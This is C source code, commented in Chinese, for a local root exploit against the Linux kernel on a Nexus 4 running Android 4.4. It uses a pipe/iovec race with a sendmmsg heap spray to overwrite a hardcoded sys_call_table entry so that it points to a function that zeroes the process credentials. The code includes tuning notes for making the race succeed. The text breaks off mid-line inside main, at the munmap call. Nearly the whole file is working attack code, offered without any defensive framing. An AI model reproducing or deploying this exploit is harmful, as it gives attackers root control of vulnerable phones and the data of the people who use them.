//#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/utsname.h>
#include<sys/prctl.h>
//这个值必须填写对
//nexus4 4.4
//c000db28 T sys_call_table
#define SYS_CALL_TABLE 0xc000db28
struct mem_t
{
int mem_addr;
int mem_size;
int mem_mmaped;
int un;
};
struct mem_t g_mapped[0x200];
struct iovec g_iovecs_read[0x200];
int get_current_task()
{
int i_ret;
int i;
i_ret = *(int *)(((unsigned int)&i & 0xFFFFE000) + 0xC);
return i_ret;
}
int set_task_root()
{
int i_task; // r1@1
int v1; // r2@6
int result; // r0@6
int v3; // [sp+0h] [bp-28h]@1
i_task = get_current_task();
do
{
i_task += 4;
}
while ( strcmp((char *)i_task ,"QQAA")!=0);
v1 = *(int *)(i_task - 8) + 4;
*(int *)v1 = 0;
*(int *)(v1 + 16) = 0;
*(int *)(v1 + 8) = 0;
*(int *)(v1 + 4) = 0;
*(int *)(v1 + 20) = 0;
*(int *)(v1 + 12) = 0;
*(int *)(v1 + 36) = -1;
*(int *)(v1 + 40) = -1;
*(int *)(v1 + 44) = -1;
*(int *)(v1 + 48) = -1;
*(int *)(v1 + 52) = -1;
*(int *)(v1 + 56) = -1;
*(int *)(v1 + 60) = -1;
*(int *)(v1 + 64) = -1;
result = 0xa;
return result;
}
void do_root()
{
set_task_root();
}
int init_payloads()
{
int i , i_ret ;
int addr;
int mmap_addr;
//初始化提权内存结构代码
//构造管道读触发BUG 的结构
//当调用pipe_read-》pipe_iov_copy_to_user 内核函数时 g_iovecs_read[2]已经被unmap 引发错误 重新走redo路径
//这时必须把g_iovecs_read[2] 的内存地址重新MAP好,,让流程继续走下去
//g_iovecs_read 的总缓存大小为 (0x200-2)*8+0x20 = 0x1010 刚好一个页多一点点 如果堆喷到下一个页那么就成功
//后面的这个0x10 刚好是2组iovec 第一组是写的内核目标地址,第二组是3环的地址,用来判断漏洞是否调用成功
for (i = 0; i < 0x200; i++)
{
addr = 0x40000000 + (i << 12);
g_mapped[i].mem_addr = addr;
g_mapped[i].mem_size = 0x1000;
mmap_addr = (int)mmap((void*)addr, 0x1000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
g_mapped[i].mem_mmaped = mmap_addr;
g_iovecs_read[i].iov_base = (void*)mmap_addr;
//这个地方i=2前后项取不同值,是为了调整时间片段,尽可能的让漏洞触发
//这个值地方是可以未调,来适配速度慢与快的机器,提高漏洞触发成功率
if (i == 0)
{
g_iovecs_read[i].iov_len = 0;
}
else if (i == 1)
{
g_iovecs_read[i].iov_len = 0x20;
}
else
{
g_iovecs_read[i].iov_len = 0x8;
}
}
return 1;
}
struct data_write
{
int un1; //1
int un2; //0
int offsets[0x10];
};
struct data_write data_write_;
pthread_mutex_t g_mutex_read_msg;
void* read_msg(void* fd)
{
int ret;
static int count = 0;
//等待主线程 把 g_mapped[2].mem_mmaped unmap释放掉 在运行readv函数
//这里有竞争关机,,触发漏洞关键点
pthread_mutex_lock(&g_mutex_read_msg);
readv((int)fd, g_iovecs_read, 0x200);
if ((count % 0x50) == 0)
{
count++;
}
ret = pthread_mutex_unlock(&g_mutex_read_msg);
pthread_exit((void*)ret);
}
struct mmsghdr {
struct msghdr msg_hdr;
unsigned msg_len;
};
struct sockaddr g_addr_socket_sendmsg;
//建立消息堆喷的接受服务器
void create_sendmsg_server()
{
int fd_socket = socket(2, 2, 0);
if (fd_socket < 0)
{
perror("failed socket");
exit(2);
}
*(int*)&g_addr_socket_sendmsg.sa_family = 0xF1130002;
*(int*)&g_addr_socket_sendmsg.sa_data[2] = 0x100007F;
if (bind(fd_socket, &g_addr_socket_sendmsg, sizeof(struct sockaddr)) == -1)
{
perror("failed bind");
exit(2);
}
}
struct iovec iovecs_write[0x200];
int g_stop_send = 0;
//用来做堆喷的线程
//利用sendmesg做内核堆喷
void* thread_write_msg(void* argv)
{
int i_ret = 0;
int fd_sock;
struct mmsghdr msg;
//printf("------------------%s-----------------\n", __func__);
fd_sock = socket(2, 2, 0);
if (fd_sock != -1)
{
if (connect(fd_sock, &g_addr_socket_sendmsg, sizeof(struct sockaddr)) != -1)
{
msg.msg_hdr.msg_iov = iovecs_write;
msg.msg_hdr.msg_iovlen = 0x200;
msg.msg_hdr.msg_control = iovecs_write;
msg.msg_hdr.msg_controllen = (0x200 * sizeof(struct iovec));
while (!g_stop_send)
{
i_ret = syscall(374/*__NR_sendmmsg*/, fd_sock, &msg, 1, 0);
}
}
}
close(fd_sock);
pthread_exit(0);
}
void* g_offset_0x30000000;
//堆喷函数
int do_sendmsg_HeapSpray(int edit_addr)
{
int i ;
void*status;
pthread_t threads[256];
create_sendmsg_server();
//创建一块内存区域。。 可以用来检测漏洞是否成功执行
g_offset_0x30000000 = mmap((void*)0x30000000, 0x2000,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if ((int)g_offset_0x30000000 != 0x30000000)
{
return 0;
}
memset(g_offset_0x30000000, 0x2000, 0);
*(int*)g_offset_0x30000000 = -1;
//构建堆喷 如果漏洞成功 产生越界访问 那么就会往0x30000000 写值iov_len的值
for (i = 0; i < 0x200; i++)
{
iovecs_write[i].iov_base = (void*)0x30000000;
iovecs_write[i].iov_len = 0x1000;
}
iovecs_write[0].iov_len = 0;
iovecs_write[0x100].iov_len = 0;
iovecs_write[1].iov_base = (void*)edit_addr; //触发后 修改内核的值
iovecs_write[1].iov_len = 0x10; //修改长度
iovecs_write[0x101].iov_base = (void*)edit_addr;
iovecs_write[0x101].iov_len = 0x10;
//创建函数做堆喷
for (i = 0; i < 256; i++)
{
if (pthread_create(&threads[i], NULL, thread_write_msg, NULL))
{
return 0;
}
}
sleep(5);
g_stop_send = 1;
for (i = 0; i < 256; i++)
{
pthread_join(threads[i], &status);
}
g_stop_send = 0;
//这个线程不会关闭 一直做喷射状态
for (i = 0; i <= 1; i++)
{
if (pthread_create(&threads[i], NULL, thread_write_msg, NULL))
{
return 0;
}
}
return 1;
}
int main(int argc, char* argv[],char *env[])
{
int i , j , i_ret = 0 , i_root_pid = 0;
void * status;
char * p_sh = NULL;
int fd_pipe[2];
char buf_read[0x1000];
pthread_t thread_read;
int fdsocket = 0;
//修改的内核值
int i_edit_addr = SYS_CALL_TABLE + 271 * 4;
//修改成我们需要调用的函数
int i_edit_values = (int)do_root;
printf("edit addr : %x\r\n",i_edit_addr);
printf("edit values : %x\r\n",i_edit_values);
printf("-------------star---------------------\n");
init_payloads();
//开始堆喷
if (do_sendmsg_HeapSpray(i_edit_addr) == 0)
{
printf("do_sendmsg_HeapSpray is error\r\n");
goto exit_error;
}
//同时多进程触发漏洞 提高漏洞触发几率
i_root_pid = getpid();
fork();
fork();
fork();
//用来做函数指针提权的
for (i = 0; i < 0x10; i++)
{
data_write_.offsets[i] = i_edit_values;
}
data_write_.un2 = i_edit_values;
i_ret = 0;
while (*(int*)g_offset_0x30000000 == -1)
{
if (pipe(fd_pipe) == -1)
{
printf("pipe is error!!!\n");
break;
}
fcntl(fd_pipe[0], 4, 2048);
fcntl(fd_pipe[1], 4, 2048);
g_mutex_read_msg.value = 0;
//写0x3000个字节
j = 192;
do
{
//往管道里面无限写do_root函数的地址,目的是为了触发漏洞后,可以往我们指定的内存写这个值 每次写0x40个字节
write(fd_pipe[1], data_write_.offsets, 0x40);
j--;
} while (j);
//读取一次管道的值,读0x40个字节
//这行是必须的, 删除掉 漏洞触发不成功 这里是为了后面第3次调用
//chars 取值本来是 0x1000 但是调用这里后 chars = 0xfc0
read(fd_pipe[0], buf_read, 0x40);
//互斥体 是为了 线程的同步
pthread_mutex_lock(&g_mutex_read_msg);
//创建线程调用 readv 从管道里面读取出0x200组值 加起来长度为0x1010
pthread_create(&thread_read, NULL, read_msg, (void*)fd_pipe[0]);
//这里是为了等待线程里面的readv函数 最好准备
usleep(100);
//这里特别注意 在解锁前 线程里面的readv函数 其实是还没有进入的,,
//解锁了以后 紧接着调用munmap函数 为了让pipe_read函数 触发漏洞
//但是马上又需要再次把这块内存给map回去,,让程序可以正常往下走
//这里是一个原子操作,,这里是能否触发漏洞的关键点
pthread_mutex_unlock(&g_mutex_read_msg);
munmap((void*)g_mapp